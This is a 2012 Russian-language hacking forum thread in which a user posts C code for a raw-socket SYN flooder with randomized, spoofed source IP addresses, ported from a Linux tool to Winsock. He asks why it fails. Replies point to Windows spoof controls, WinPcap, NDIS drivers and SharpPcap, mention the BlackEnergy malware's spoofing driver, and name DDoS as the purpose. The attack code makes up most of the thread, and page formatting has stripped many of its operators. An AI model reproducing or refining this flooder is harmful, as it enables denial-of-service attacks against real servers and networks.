Ip-спуфинг

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by realcoder, 14 May 2012.

Thread Status:
Not open for further replies.
  1. realcoder

    realcoder Member

    Joined:
    9 Dec 2010
    Messages:
    226
    Likes Received:
    11
    Reputations:
    4
    решил написать флудер на сырых сокетах с продменой исходного адреса в tcp и ip заголовках. скопировал из линупса описания заголовков tcp/ip(по идее должно быть пох откуда - оси разные а протокол один и тот же):
    PHP:
    #define    MAXTTL        255
    #define u_int16_t unsigned short
    #define u_int32_t unsigned long
    #define u_int8_t unsigned char
    struct ip {
            
    u_int   ip_hl:4,                /* header length */
                    
    ip_v:4;                 /* ip version */
            
    u_char  ip_tos;                 /* type of service */
            
    u_short ip_len;                 /* total length */
            
    u_short ip_id;                  /* identification */
            
    u_short ip_off;                 /* fragment offset */
            
    u_char  ip_ttl;                 /* time to live */
            
    u_char  ip_p;                   /* protocol */
            
    u_short ip_sum;                 /* checksum */
            
    struct  in_addr ip_src,ip_dst;  /* source and dest address */
    };

    struct tcphdr
      
    {
        
    u_int16_t source;
        
    u_int16_t dest;
        
    u_int32_t seq;
        
    u_int32_t ack_seq;
    #  if __BYTE_ORDER == __LITTLE_ENDIAN
        
    u_int16_t res1:4;
        
    u_int16_t doff:4;
        
    u_int16_t fin:1;
        
    u_int16_t syn:1;
        
    u_int16_t rst:1;
        
    u_int16_t psh:1;
        
    u_int16_t ack:1;
        
    u_int16_t urg:1;
        
    u_int16_t res2:2;
    #  elif __BYTE_ORDER == __BIG_ENDIAN
        
    u_int16_t doff:4;
        
    u_int16_t res1:4;
        
    u_int16_t res2:2;
        
    u_int16_t urg:1;
        
    u_int16_t ack:1;
        
    u_int16_t psh:1;
        
    u_int16_t rst:1;
        
    u_int16_t syn:1;
        
    u_int16_t fin:1;
    #  else
    #   error "Adjust your <bits/endian.h> defines"
    #  endif
        
    u_int16_t window;
        
    u_int16_t check;
        
    u_int16_t urg_ptr;
    };
    нашел флудер под линупс готовый, переделал под виндовские сокеты:
    PHP:
    #include <Winsock2.h>//Ws2_32.lib
    #include <ws2tcpip.h>
    #include <Windows.h>
    #include "tcpip.h"
    #include "mycrt.h"


    #define MAX_PACKET_SIZE 4096
    /* ugh..so many magic numbers in here */
     
    /* function for header checksums */
    #define rand GetTickCount

    unsigned short csum (unsigned short *bufint nwords)
    {
        
    unsigned long sum;
        for (
    sum 0nwords 0nwords--)
            
    sum += *buf++;
        
    sum = (sum >> 16) + (sum 0xffff);
        
    sum += (sum >> 16);
        return (
    unsigned short)(~sum);
    }
    void setup_ip_header(struct ip *iph)
    {    
        
    iph->ip_hl 5;
        
    iph->ip_v 4;
        
    iph->ip_tos 0;    
        
    iph->ip_len sizeof(struct ip) + sizeof(struct tcphdr);
        
    iph->ip_id htonl(54321);
        
    iph->ip_off 0;
        
    iph->ip_ttl MAXTTL;
        
    iph->ip_p 6;  // upper layer protocol, TCP
        
    iph->ip_sum 0;
     
        
    // Initial IP, changed later in infinite loop
        
    iph->ip_src.S_un.S_addr inet_addr("192.168.3.100");
    }
     
    void setup_tcp_header(struct tcphdr *tcph)
    {

        
    tcph->source htons(5678);
        
    tcph->seq rand();
        
    tcph->ack_seq 0;
        
    tcph->res2 0;
        
    tcph->doff 5// Make it look like there will be data
        
    tcph->syn 1;
        
    tcph->window htonl(65535);
        
    tcph->check 0;
        
    tcph->urg_ptr 0;  
    }

     
    int syn_flood()
    {   
        
    char *datagram=(char *)valloc_wrapper(MAX_PACKET_SIZE);
        
    struct ip *iph = (struct ip *)datagram;
        
    struct tcphdr *tcph = (struct tcphdr *)((u_int8_t *)iph + (sizeof(u_int32_t)));
        
    struct sockaddr_in sin;
        
    char *new_ip=(char *)valloc_wrapper(sizeof "255.255.255.255");
     
        
    int s socket(AF_INETSOCK_RAWIPPROTO_TCP);   

        
    unsigned int floodport 25565;
          
    int tmp 1;
        const 
    int *val = &tmp;
         
    sin.sin_family AF_INET;
        
    sin.sin_port htons(floodport);
        
    sin.sin_addr.s_addr inet_addr("127.0.0.1");//inet_addr("93.126.94.36");
     
        // Clear the data
        
    memset(datagram0MAX_PACKET_SIZE);
     
        
    // Set appropriate fields in headers
        
    setup_ip_header(iph);
        
    setup_tcp_header(tcph);   
     
        
    tcph->dest htons(floodport);
     
        
    iph->ip_dst sin.sin_addr;    
        
    iph->ip_sum csum ((unsigned short *) datagramiph->ip_len >> 1);
     
        
    /* a IP_HDRINCL call, to make sure that the kernel knows
        *     the header is included in the data, and doesn't insert
        *     its own header into the packet before our data 
        */    
      
        
    setsockopt(sIPPROTO_IPIP_HDRINCL, (const char *)valsizeof (tmp));
     
        
    /*for(;;){*/
            
    sendto(s,      /* our socket */
                
    datagram,          /* the buffer containing headers and data */
                
    iph->ip_len,      /* total length of our datagram */
                
    0,          /* routing flags, normally always 0 */
                
    (struct sockaddr *) &sin,   /* socket addr, just like in */
                
    sizeof(sin));
     
             
               
    // Randomize source IP and source port
                
    wsprintf(new_ip,"%lu.%lu.%lu.%lu",rand() % 255,rand() % 255,rand() % 255,rand() % 255);
                
    iph->ip_src.S_un.S_addr inet_addr(new_ip);       
                
    tcph->source htons(rand() % 65535);
                
    iph->ip_sum csum ((unsigned short *) datagramiph->ip_len >> 1);
        
    /*}*/
     
        
    return 0;
    }

    но почему то программа сервер вообще не регистрирует подключение.... в чем проблема?
     
  2. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Почитал бы мсдн
     
    _________________________
  3. realcoder

    realcoder Member

    Joined:
    9 Dec 2010
    Messages:
    226
    Likes Received:
    11
    Reputations:
    4
    бля...
    еще раз бля...
    придется делать NDIS или TDI-драйвер... или через WinPcap. единственное что она не на всех компах по умолчанию есть...
    хотя... BlackEnergy как то делает это. его сорцы случайно никуда не утекали, никто не пиздил?
     
    #3 realcoder, 14 May 2012
    Last edited: 14 May 2012
  4. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    У BlackEnergy был драйвер для скрытия процесса. Вполне возможно, что для спуфинга он тоже использовался.
     
    _________________________
  5. C@T

    C@T Member

    Joined:
    7 Sep 2011
    Messages:
    12
    Likes Received:
    6
    Reputations:
    10
    а провайдер такое блочить не будет, ведь у многих айпишник привязан к мак адресу, мне что то кажется что пакет мало у кого дойдет до получателя ?

    P.S знакомый экспериментировал с рав сокетами в Linux , но ему провайдер пакет в инет не выпустил
     
  6. C00LPack

    C00LPack Elder - Старейшина

    Joined:
    7 Oct 2010
    Messages:
    425
    Likes Received:
    72
    Reputations:
    19
    у BlackEnergy два драйвера, один для скрытия процесса, другой для спуфинга.
     
  7. rtkm

    rtkm New Member

    Joined:
    23 Dec 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    IP спуфинг из под винды

    ну это вы загнули...

    возможность IP спуфинга возможна только на Windows 2000... начиная с ХР там включен SPOOF CONTROL и адрес отправителя вам сама винда подменить не даст, но выход из этой ситуации есть и называется он SharpPcap - динамическая библиотка для C# которая как раз и позволяет делать всё то что вы хотите

    если не секрет, зачем вам это?
     
  8. Spot

    Spot Elder - Старейшина

    Joined:
    1 Mar 2007
    Messages:
    461
    Likes Received:
    38
    Reputations:
    1
    предлагаю перенестись на год назад и узнать у автора.
     
  9. fl00der

    fl00der Moderator

    Joined:
    17 Dec 2008
    Messages:
    1,027
    Likes Received:
    311
    Reputations:
    86
    Да какой IP-спуфинг в 2012-13 году, вы чего?
     
    _________________________
    1 person likes this.
  10. herfleisch

    herfleisch Elder - Старейшина

    Joined:
    7 Jan 2009
    Messages:
    579
    Likes Received:
    203
    Reputations:
    13
    ддос например
     
Thread Status:
Not open for further replies.